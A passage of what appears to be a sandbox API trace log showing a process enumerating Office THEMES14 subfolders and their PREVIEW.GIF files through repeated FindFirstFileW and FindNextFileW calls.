cFileName="QUAD", cAlternateFileName="")) returned 1 [0042.582] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.582] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.582] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.583] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.583] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.583] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0042.583] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.584] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.584] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.584] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.584] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.584] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0042.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.584] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.585] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.585] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.585] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.585] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0042.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.585] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.585] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.586] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.586] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.586] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0042.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.586] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.586] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.586] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.587] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.587] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0042.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.587] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.587] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.587] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.587] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.587] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0042.588] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.588] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.588] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.588] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.588] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.588] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0042.588] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.589] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.589] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.589] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.589] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.589] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0042.589] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.589] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.589] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.590] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.590] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.590] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0042.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.590] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.590] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.591] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.591] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.591] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0042.591] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.591] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.591] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, 